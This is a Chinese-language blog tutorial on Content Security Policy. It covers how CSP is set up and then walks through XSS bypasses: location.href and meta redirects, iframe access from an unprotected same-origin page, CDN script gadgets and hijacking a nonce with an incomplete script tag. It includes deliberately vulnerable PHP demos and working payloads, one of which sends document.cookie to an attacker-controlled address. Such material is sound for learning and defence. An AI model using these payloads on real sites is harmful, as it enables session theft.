目录

  1. 1. 前言
    1. 1.1. 配置
    2. 1.2. 指令
    3. 1.3. 指令值
  2. 2. 绕过
    1. 2.1. location.href
    2. 2.2. link标签预加载
    3. 2.3. meta网页跳转绕过
    4. 2.4. iframe绕过
    5. 2.5. CDN绕过
    6. 2.6. 不完整script标签绕过

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CSP

2023/12/12 Web XSS trick
  |     |   总文章阅读量:

前言

Content Security Policy内容安全策略,是一个附加的安全层,有助于检测并缓解某些类型的攻击,包括跨站脚本(XSS)和数据注入攻击。它实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,哪些不可以。

参考:

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP

https://www.freebuf.com/articles/network/272918.html

https://blog.csdn.net/weixin_42478365/article/details/116597764

配置

要使CSP可用,需要配置响应包标头Content-Security-policy

Content-Security-policy: default-src 'self'; img-src https://*; child-src 'none';

html也可以配置

<meta
  http-equiv="Content-Security-Policy"
  content="default-src 'self'; img-src https://*; child-src 'none';" />

也可以用Content-Security-Policy-Report-Only指定策略,不执行限制选项,只是记录违反限制的行为。它必须与report-uri选项配合使用

Content-Security-Policy-Report-Only: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser;

指令

Content-Security-policy的内容设置

script-src:外部脚本
style-src:样式表
img-src:图像
media-src:媒体文件(音频和视频)
font-src:字体文件
object-src:插件(比如 Flash)
child-src:框架
frame-ancestors:嵌入的外部资源(比如<frame>、<iframe>、<embed>和<applet>)
connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
worker-src:worker脚本
manifest-src:manifest 文件
dedault-src:默认配置
frame-ancestors:限制嵌入框架的网页
base-uri:限制<base#href>
form-action:限制<form#action>
block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
plugin-types:限制可以使用的插件格式
sandbox:浏览器行为的限制,比如不能有弹出窗口等。

指令值

*: 星号表示允许任何URL资源,没有限制;
self:表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
data:仅允许数据模式(如Base64编码的图片)方式加载资源;
none:不允许任何资源被加载;
unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;
nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;

那么对于一开始的示例

Content-Security-policy: default-src 'self'; img-src https://*; child-src 'none';

意思就是对于默认配置,仅允许来自同源的资源被页面加载;对于图像,允许https协议下的任何URL资源加载;对于框架,不允许任何资源被加载

所以我们写一个demo测试一下:

<head>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';" />
<img src=yinli.png>
<script src=2.js></script>
<script src=https://examples.com/script.js></script>
</head>
<body>
    <button id="myButton">点击我</button>
</body>

image-20231212093916299

可以看到图片和2.js作为同源资源都被载入了,但是https://examples.com/script.js没有被载入,因为是非同源资源


绕过

首先我们可以把响应的CSP政策丢CSP Evaluator检测一手

location.href

CSP不影响location.href跳转,因为在大多数网站中的跳转功能都是靠前端实现的,如果限制跳转将会使网站很大一部分功能受到影响,所以利用跳转来绕过CSP是一个万能的方法;或者存在script-src 'unsafe-inline';这条规则也可以用该绕过方法

demo:

<?php
if (!isset($_COOKIE['a'])) {
setcookie('a',md5(rand(0,1000)));
}
header("Content-Security-Policy: default-src 'self';");
?>
<!DOCTYPE html>
<html>
<head>
<title>CSP Test</title>
</head>
<body>
<h2>CSP-safe</h2>
<?php
if (isset($_GET['a'])) {
echo "Your GET content".@$_GET['a'];
}//
?>

虽然策略只允许同源的资源,但是我们还是可以用location跳转:location.href(window.location/window.open)绕过

exp:链接处可以改为vps地址

?a=<script>location.href="http://127.0.0.1"%2bdocument.cookie;</script>

image-20231212192722537

此时js脚本就被注入进去了,但是在default-src 'self'的情况下脚本实际上并不会执行

如果我们的配置修改为default-src 'unsafe-inline',那么再次传入上面的exp

image-20231212193816977

此时就发生了跳转,并且带出了cookie


link标签预加载

大部分浏览器已经约束了这个标签,我这里就懒得整这个了(


meta网页跳转绕过

实现跳转

<meta http-equiv="refresh" content="1;url=http://127.0.0.1:7890/" >

除此之外meta也可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。

<meta http-equiv="cache-control" content="public">

meta还可以设置Cookie(Firefox下),可以结合self-xss利用

<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">

iframe绕过

iframe 元素会创建包含另外一个文档的内联框架(即行内框架),我们可以通过设置这个来做到一个跨域访问

在CSP中,通过配置sandbox和child-src可以设置iframe的有效地址,它限制iframe的行为,包括阻止弹出窗口,防止插件和脚本的执行,而且可以执行一个同源策略。

而当一个同源站点存在A和B两个页面,如果A存在CSP保护而B没有,我们可以直接在B页面新建iframe用js操作A页面的DOM,也就是说A页面的CSP防护完全失效

demo:

<!-- A页面 -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
<h1 id="flag">flag{0xffff}</h1>

这个页面CSP明显拉满了

<!-- B页面 -->
<!-- 下面模拟XSS -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="http://ctf:85"; <!-- A页面的地址 -->
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000);
</script>
</body>

image-20231212195007338

我们甚至可以利用这个ban掉js库

在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如某个页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>

CDN绕过

一般来说,前端要用到许多的前端框架和库,而部分企业为了效率或者其他原因,会选择使用其他CDN上的js框架,当这些CDN上存在一些低版本的框架时,就可能存在绕过CSP的风险

做法基本上都是套用网上相应的payload格式来绕过CSP,有一个Breaking XSS mitigations via Script Gadgets能参考一下可以被用来CDN绕过的一些JS库


不完整script标签绕过

首先,当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性

然后我们看demo:

<?php header("X-XSS-Protection:0");?>
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'nonce-xxxxx'">
<?php echo $_GET['xss']?>
<script nonce='xxxxx'>
//do some thing
</script>

payload:

?xss=<script src=data:text/plain,alert(1)

注意我们只提供了一个左尖括号

image-20231212200240992

此时可以发现<script在后面匹配了个右尖括号,然后把后面的nonce="xxxxx"一起包含进来,劫持到了插入的script标签中,于是成功绕过script-src

不过这个方法在chrome里面好像寄了,会干扰chrome对标签的解析,但是这里可以用到标签的一个技巧:

当一个标签存在两个同名属性时,第二个属性的属性名及其属性值都会被浏览器忽略

于是修改payload为

?xss=123<script src="data:text/plain,alert(1)" a=123 a=

新建一个a属性,然后再新建第二个a属性,这样我们就将第二个<script赋给了第二个a属性,然后被忽略掉

image-20231212201017040